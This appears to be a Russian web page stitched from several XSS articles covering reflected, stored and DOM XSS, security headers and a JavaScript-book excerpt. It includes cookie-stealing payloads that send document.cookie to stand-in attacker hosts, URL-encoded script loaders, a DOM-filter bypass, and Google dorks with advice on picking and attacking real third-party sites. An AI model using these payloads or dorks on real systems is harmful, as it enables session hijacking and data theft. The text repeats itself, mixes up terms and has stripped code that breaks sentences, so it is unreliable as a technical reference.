Компьютерные уроки для начинающих

Компьютерные уроки для начинающих

» » XSS атаки: какими они бывают и чем опасны. Использование XSS уязвимостей по максимуму Пассивная xss

XSS атаки: какими они бывают и чем опасны. Использование XSS уязвимостей по максимуму Пассивная xss

Использование заголовков безопасности является важным звеном в защите сайта и его посетителей от хакерских атак. В прошлой статье про из рубрики по защите и безопасности я обещал регулярно публиковать записи на эту тему. Сегодня я расскажу про защиту от XSS атаки.

Что такое XSS-атака

Межсайтовый скриптинг (Cross Site Scripting) — это уязвимость, которая позволяет злоумышленнику внедрить вредоносный код (обычно HTML или JavaScript) в содержимое сайта. Вредоносный код выполняется в браузере пользователя, который просматривает зараженную страницу сайта.

Злоумышленники могут эксплуатировать различные уязвимости. Наибольшее распространение получили два типа атаки:

  • Отражённая (Reflected XSS) — самый распространенный непостоянный тип атаки, требующий выполнения определённого действия со стороны пользователя.
  • Хранимая (Persistent XSS) — постоянный тип атаки с внедрением вредоносного кода на сервер, не требует вмешательства пользователя.
Отражённая XSS-атака

Срабатывает при переходе пользователя по специально подготовленной ссылке, которая отправляет запрос на сайт с уязвимостью. Данная уязвимость обычно является результатом недостаточной фильтрации входящих запросов, что позволяет манипулировать функциями и активировать вредоносные скрипты.

  • Злоумышленник внедряет в гиперссылку вредоносный скрипт, позволяющий просматривать cookies пользовательской сессии, и отправляет жертве по электронной почте или другим средствам коммуникации.
  • При переходе по ссылке пользователь становится захваченным.
  • Скрипт выполняется в браузере пользователя.
  • Браузер отправляет cookies злоумышленнику, обеспечивая доступ к личным данным пользователя.
  • Хранимая XSS-атака

    Для успешного выполнения хранимой атаки злоумышленнику достаточно найти уязвимость на сайте и разместить на своём сервере вредоносный скрипт. Затем на сайте размещается тег , который загружает скрипт с с внешнего сайта, например, в комментариях. При загрузке заражённой страницы вредоносный скрипт каждый раз передаётся в браузер пользователя.

  • Злоумышленник обнаруживает сайт с XSS уязвимостью и выполняет инъекцию вредоносного скрипта, который крадет cookies пользователя.
  • При каждом посещении сайта вредоносный скрипт активируется без выполнения каких либо действий.
  • Сессионные куки из браузера посетителя отправляются злоумышленнику.
  • Включение заголовка X-XSS-Protection

    Заголовок X-XSS-Protection предназначен для включения фильтра межсайтового скриптинга, встроенного во всех современных браузерах. Он позволит, например, предотвратить выполнение тега в URL страницы.

    Директива report для отправки отчётов действует аналогично директиве report-uri (или report-to) Content Security Policy (CSP), указывая браузеру пользователя сообщать о попытках нарушения политики безопасности контента. Об этом я расскажу в отдельной статье.

    Отчёт о нарушениях формируется в формате JSON и отправляется POST-запросами по указанному адресу URL.

    Возвращаясь к основной теме, рекомендую настроить сервер таким образом, чтобы HTTP заголовок включал фильтрацию и при XSS-атаке блокировал загрузку страницы с небезопасным содержимым. В файле дополнительной конфигурации.htaccess (или httpd.conf, если у вас есть полный доступ к серверу) веб-сервера Apache необходимо добавить следующую запись:

    Header set X-XSS-Protection "1; mode=block"

    Для сервера Nginx дополните файл nginx.conf в разделе HTTP записью:

    Add_header X-XSS-Protection "1; mode=block" ;

    В том случае, если доступ к конфигурационным файлам сервера отсутствует, но есть поддержка PHP, тогда используйте функцию:

    Cross Site Scripting, также известный как XSS, — это один из способов внедрения вредоносного кода, который исполняется на стороне клиента. Пользователь может заметить что-то неладное, например, необычное поведение страницы, иногда атака совершается абсолютно не заметно в фоновом режиме.

    Надеюсь, теперь вы стали немного больше понимать в HTTP-заголовках сервера и X-XSS поможет предотвратить межсайтовый скриптинг. Я использую заголовки безопасности на всех своих сайтах и настоятельно рекомендую вам сделать тоже самое. Вместе мы можем сделать интернет более безопасным! 😉

    Межсайтовый скриптинг (XSS) - это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи.

    Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу - это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает.

    Можно набросать свой простейший скрипт (нет ничего проще, чем писать плохие скрипты на PHP - этим очень многие занимаются). Но уже предостаточно готовых вариантов. Например, я предлагаю начать знакомство с Dojo и OWASP Mutillidae II. Там есть похожий пример. В автономной среде Dojo перейдите в браузере по ссылке: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

    Если кто-то из пользователей ввёл:

    То веб-страница отобразит:

    Привет! Нравится твой сайт.

    А если пользователь введёт так:

    Привет! Нравится твой сайт.alert("Pwned")

    То отобразиться это так:

    Браузеры хранят множества кукиз большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com.

    Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com.

    Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта.

    Внедрённый код умеет всё то, что умеет JavaScript, а именно:

    • получает доступ к кукиз просматриваемого сайта
    • может вносить любые изменения во внешний вид страницы
    • получает доступ к буферу обмена
    • может внедрять программы на JavaScript, например, ки-логеры (перехватчики нажатых клавиш)
    • подцеплять на BeEF
    • и др.

    Простейший пример с кукиз:

    alert(document.cookie)

    На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные.

    Виды XSS

    Самое главное, что нужно понимать про виды XSS то, что они бывают:

    • Хранимые (Постоянные)
    • Отражённые (Непостоянные)

    Пример постоянных:

    • Введённое злоумышленником специально сформированное сообщение в гостевую книгу (комментарий, сообщение форума, профиль) которое сохраняется на сервере, загружается с сервера каждый раз, когда пользователи запрашивают отображение этой страницы.
    • Злоумышленник получил доступ к данным сервера, например, через SQL инъекцию, и внедрил в выдаваемые пользователю данные злонамеренный JavaScript код (с ки-логерами или с BeEF).

    Пример непостоянных:

    • На сайте присутствует поиск, который вместе с результатами поиска показывает что-то вроде «Вы искали: [строка поиска]», при этом данные не фильтруются должным образом. Поскольку такая страница отображается только для того, у кого есть ссылка на неё, то пока злоумышленник не отправит ссылку другим пользователям сайта, атака не сработает. Вместо отправки ссылки жертве, можно использовать размещение злонамеренного скрипта на нейтральном сайте, который посещает жертва.

    Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):

    • DOM-модели
    Особенности XSS основанных на DOM

    Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом:

    Http://example.com/search.php?q="/>alert(1)

    А при открытии исходного HTML кода мы видим что-то вроде такого:

    alert(1)" /> Найти

    А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код:

    сайт:::DOM XSS An error occurred... function OnLoad() { var foundFrag = get_fragment(); return foundFrag; } function get_fragment() { var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");"); if (results) { document.getElementById("default").innerHTML = ""; return (unescape(results)); } else { return null; } } display_session = OnLoad(); document.write("Your session ID was: " + display_session + "

    ")

    То в браузере мы увидим:

    Исходный код страницы:

    Давайте сформируем адрес следующим образом:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

    Теперь страница выглядит так:

    Но давайте заглянем в исходный код HTML:

    Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код:

    Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

    Где мы заменили символ ; на кодированный в URI эквивалент!

    Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга.

    XSS Auditor

    В Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз:

    dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token<script>alert(1);" because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.

    Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS.

    Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера - вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер.

    Примеры эксплуатирования XSS

    Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.

    При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.

    Пример атаки с непостоянным XSS

    1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.

    2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:

    2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос

    2.2 С нормальным поисковым запросом вроде слова «собачки » страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки , что является вполне нормальным поведением.

    2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде alert("xss"); :

    2.3.1 Появляется сообщение с предупреждением (которое говорит "xss").

    2.3.2 Страница отображает alert("xss"); не найдено наряду с сообщением об ошибке с текстом "xss".

    2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=alert("xss");

    3. Мэлори конструирует URL для эксплуатации уязвимости:

    3.1 Она делает URL http://bobssite.org?q=puppies . Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.

    3.2 Она отправляет e-mail некоторым ничего не подозревающим членом сайта Боба, говоря: «Зацените клёвых собачек».

    4. Алиса получает письмо. Она любит собачек и кликает по ссылке. Она переходит на сайт Боба в поиск, она не находит ничего, там отображается «собачки не найдено», а в самой середине запускается тэг со скриптом (он невидим на экране), загружает и выполняет программу Мэлори authstealer.js (срабатывание XSS атаки). Алиса забывает об этом.

    5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.

    7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.

    8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.

    Атака с постоянным XSS

  • Мэлори имеет аккаунт на сайте Боба.
  • Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.
  • Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:
  • В этой истории мне так понравились собачки. Они такие славные!
  • Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.
  • Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.
  • Поиск сайтов уязвимых к XSS

    Дорки для XSS

    Первым шагом является выбор сайтов, на которых мы будем выполнять XSS атаки. Сайты можно искать с помощью дорков Google. Вот несколько из таких дорков, которые скопируйте и вставьте в поиск Гугла:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Перед нами откроется список сайтов. Нужно открыть сайт и найти на нём поля ввода, такие как форма обратной связи, форма ввода, поиск по сайту и т.д.

    Сразу замечу, что практически бесполезно искать уязвимости в популярных автоматически обновляемых веб-приложениях. Классический пример такого приложения - WordPress. На самом деле, уязвимости в WordPress, а в особенности в его плагинах, имеются. Более того, есть множество сайтов, которые не обновляют ни движок WordPress (из-за того, что веб-мастер внёс в исходный код какие-то свои изменения), ни плагины и темы (как правило, это пиратские плагины и темы). Но если вы читаете этот раздел и узнаёте из него что-то новое, значит WordPress пока не для вас… К нему обязательно вернёмся позже.

    Самые лучшие цели - это разнообразные самописные движки и скрипты.

    В качестве полезной нагрузки для вставки можно выбрать

    alert(1)

    Обращайте внимание, в какие именно тэги HTML кода попадает ваш внедрённый код. Вот пример типичного поля ввода (input ):

    alert(1)

    Наша полезная нагрузка попадёт туда, где сейчас слово «наволочка». Т.е. превратиться в значение тэга input . Мы можем этого избежать - закроем двойную кавычку, а затем и сам тэг с помощью "/>

    "/>alert(1)

    Давайте попробуем её для какого-нибудь сайта:

    Отлично, уязвимость имеется

    Программы для поиска и сканирования XSS уязвимости

    Наверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно.

    Через XSS опытные злоумышленники интегрируют в страницы сайтов-жертв работающие на них скрипты, выполняемые в момент посещения зараженных ресурсов. Существует несколько видов XSS-уязвимостей, представляющих различную степень опасности.

    Особенности пассивной и активной уязвимости

    Наиболее осторожно стоит относиться к активной уязвимости. Когда злоумышленник внедряет свой SQL-код в доступную базу либо файл на сервер, жертвой может стать каждый посетитель зараженного ресурса. Такие места часто интегрируются, поэтому даже обработанные вашей защитой данные, хранящиеся в БД, могут по-прежнему представлять определенную опасность.

    Создание пассивной XSS-уязвимости требует от злоумышленника определенной изобретательности. Либо вас заманивают на подставной ресурс всевозможными ссылками, либо пытаются любыми способами переадресовать на требуемый сайт. Обычно это происходит через письма от вымышленной администрации посещаемой вами страницы, с запросами проверки настроек аккаунта. Также активно используется разнообразные спам-рассылки или посты на широко посещаемых форумах.

    Пассивная XSS-уязвимость может исходить как от POST так и от GET-параметров. Для первых характерен ряд различных ухищрений, для вторых – кодировка url-строки либо вставка дополнительных значений.

    Похищение Cookies

    Чаще всего именно ваши Cookies становятся целью проводимой XSS атаки. Иногда в них остается ценная информация, включающая логины и пароли пользователей либо их хэш. Но достаточно опасны и совершения краж активных сессий важных для вас сайтов, поэтому не стоит забывать нажимать на кнопку «выход» даже при посещении сайтов с домашнего компьютера. Хотя большинство ресурсов для предотвращения подобных действий используют автоматическое ограничение длительности сессии. Доменные же ограничения XMLHttpRequest от таких атак не спасают.

    Данные из заполняемых форм

    Пользуется популярностью и считывание информации в заполняемых формах. Для этого на вызывающих интерес страницах выполняется отслеживание событий (onsubmit), а все предоставляемые данные пересылаются также и на сервера злоумышленников. Такие атаки во многом схожи с фишинговыми, но кража происходит не на поддельном, а на реальном сайте с хорошей репутацией.

    Распределенные DDoS-атаки

    Для атак через XSS используются и многопосещаемые ресурсы. Благодаря XSS-уязвимости выполняется переадресация приходящих на них запросов на взламываемый сервер, в результате чего его защита не выдерживает.

    Поддельные межсайтовые запросы (CSRF/XSRF)

    У них также мало общего с XSS. Это отдельная разновидность уязвимостей, используемых в сочетании с XSS. Их целью является завлечение авторизованного пользователя с неуязвимого сайта на подставную уязвимую страницу для проведения обманных операций. Например, клиента, использующего электронную систему платежей, выманивают на уязвимый сайт, переводящий деньги на счета злоумышленников. Поэтому в большинстве платежных систем предусмотрена защита путем дополнительного введения пароля либо подтверждающего операцию кода.

    Внедрение XSS-червей

    Такая XSS атака на сайт появилась с развитием известных соцсетей (Вконтакте, Twitter и других). Через них целые группы пользователей получают уязвимые XSS ссылки с интегрированными скриптами, рассылающими по сетям спам от их имени. Также широко практикуется и попутное копирование личной информации и фотографий на ресурсы злоумышленников.

    Примеры безобидных XSS

    Заметим, что многие типы счетчиков также выполняют роль активных XSS. С них ведется передача данных о регистрирующихся посетителях (их IP-адреса, данные об используемом оборудовании).

    Только данный код интегрируется у вас в компьютере по вашей же воле. К другим подобным XSS можно смело отнести целый ряд кроссдоменных AJAX-запросов.

    Cross-Site Scripting или XSS. Межсайтовый скриптинг (межсайтовое выполнение сценариев).

    Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Этот код обычно создается на языках HTML /JavaScript , но могут быть использованы VBScript, ActiveX, Java, Flash, или другие поддерживаемые браузером технологии.

    Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя эти привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера. У атакованного пользователя может быть скомпрометирован аккакунт (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Код может передаваться злоумышленником в URL , в заголовках Методы и структура протокола HTTP запроса (Cookie , user-agent, refferer), значениях полей форм и т.д.

    Существует три типа атак, приводящих к межсайтовому выполнению сценариев: non-persistent непостоянные (отраженные), persistent постоянные (сохраненные) и основанные на DOM . Основным отличием между persistent и non-persistent является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP- запроса, а в хранимом - в разных.

    Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по email, ICQ и т.д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса будет передан клиенту и выполнен в его браузере.

    Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с Web- интерфейсом и чаты. Для атаки пользователю не обязательно переходить по ссылке, достаточно посетить уязвимый сайт.

      Пример. Сохраненный (persistent) вариант атаки. Многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру

    сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя. Пример кода для передачи cookie:

    document.location= "http://attackerhost.example/cgi- bin/cookiesteal.cgi?"+document.cookie

      Пример. Отраженный (non-persistent) вариант атаки. Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице.

    К примеру, при переходе по URL http://portal.example/search?q= ”fresh beer” пользователю будет отображена страница, содержащая результаты поиска и фразу: "По вашему запросу fresh beer найдено 0 страниц". Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя. Пример:

    Http://portal.example/search/?q=alert("xss")

    Для сокрытия кода сценария может быть использована кодировка URLEncode

    Http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

    Флэнаган Дэвид JavaScript

    Выдержка из книги Флэнаган Дэвид JavaScript Полное руководство 5 издание.

    Термин межсайтовый скриптинг (cross"site scripting), или XSS, относится к области компьютерной уязвимости, когда атакующий внедряет HTML теги или сценарии в документы на уязвимом вебсайте. Организация защиты от XSS атак – обычное дело для вебразработчиков, занимающихся созданием серверных сценариев. Однако программисты, разрабатывающие клиентские JavaScript сценарии, также должны знать о XSS атаках и предпринимать меры защиты от них.

    Веб страница считается уязвимой для XSS атак, если она динамически создает содержимое документа на основе пользовательских данных, не прошедших предварительную обработку по удалению встроенного HTML кода. В качестве тривиального примера рассмотрим следующую веб-страницу, которая использует JavaScript сценарий, чтобы приветствовать пользователя по имени:

    var name = decodeURIComponent(window.location.search.substring(6)) || ""; document.write("Привет " + name);

    Во второй строке сценария вызывается метод window.location.search.substring, с помощью которого извлекается часть адресной строки, начинающаяся с символа?. Затем с помощью метода document.write() добавляется динамически сгенерированное содержимое документа. Этот сценарий предполагает, что обращение к вебстранице будет производиться с помощью примерно такого URL адреса:

    Http://www.example.com/greet.html?name=Давид

    В этом случае будет выведен текст «Привет Давид». Но что произойдет, если страница будет запрошена с использованием следующего URL адреса:

    Http://www.example.com/greet.html?name=%3Cscript%3Ealert("Давид")%3C/script%3E

    С таким содержимым URL адреса сценарий динамически сгенерирует другой сценарий (коды %3C и %3E – это угловые скобки)! В данном случае вставленный сценарий просто отобразит диалоговое окно, которое не представляет никакой опасности. Но представьте себе такой случай:

    Http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E

    Межсайтовый скриптинг потому так и называется, что в атаке участвует более одного сайта. Сайт B (или даже сайт C) включает специально сконструированную ссылку (подобную только что показанной) на сайт A, в которой содержится сценарий с сайта B. Сценарий evil.js размещается на сайте злоумышленника B, но теперь этот сценарий оказывается внедренным в сайт A и может делать все, что ему заблагорассудится с содержимым сайта A. Он может стереть страницу или вызвать другие нарушения в работе сайта (например, отказать в обслуживании, о чем рассказывается в следующем разделе). Это может отрицательно сказаться на посетителях сайта A. Гораздо опаснее, что такой злонамеренный сценарий может прочитать содержимое cookies, хранящихся на сайте A (возможно содержащих учетные номера или другие персональные сведения), и отправить эти данные обратно на сайт B. Внедренный сценарий может даже отслеживать нажатия клавиш и отправлять эти данные на сайт B.

    Универсальный способ предотвращения XSSатак заключается в удалении HTML тегов из всех данных сомнительного происхождения, прежде чем использовать их для динамического создания содержимого документа. Чтобы исправить эту проблему в показанном ранее файле greet.html, нужно добавить следующую строку в сценарий, которая призвана удалять угловые скобки, окружающие тег :

    Name = name.replace(//g, ">");

    Межсайтовый скриптинг представляет собой уязвимость, глубоко уходящую корнями в архитектуру Всемирной паутины. Необходимо осознавать всю глубину этой уязвимости.

    Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.

    Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости.

    Но если их не устранять, это может нести серьезную угрозу безопасности.

    Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.

    XSS: Уязвимость для инъекции

    Любой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:

    Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья».

    Именно для таких целей имена пользователей хранятся в базе данных.

    Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.

    Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.

    Традиционные XSS-атаки: Отраженные (непостоянные).

    Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

    Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.

    Хранимые (постоянные).

    Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.

    Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.): Также известные как DOM-модели: Отраженные (непостоянные).

    То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.

    Хранимые (постоянные).

    Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.

    Примеры XSS уязвимостей.

    Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

    Http://www.site.com/page.php?var=alert("xss");

    Существует два типа XSS уязвимостей - пассивная и активная.

    Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

    Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

    Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

    document.getElementsByTagName("form").submit();

    Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

    Кража Cookies

    Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

    Var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

    Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

    Кража данных из форм

    Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

    Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

    DDoS-атака (распределенная атака типа «отказ в обслуживании»)

    XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
    Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

    В чем опасность XSS?

    Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.

    Об этом мы поговорим в следующей части статьи, посвященной XSS.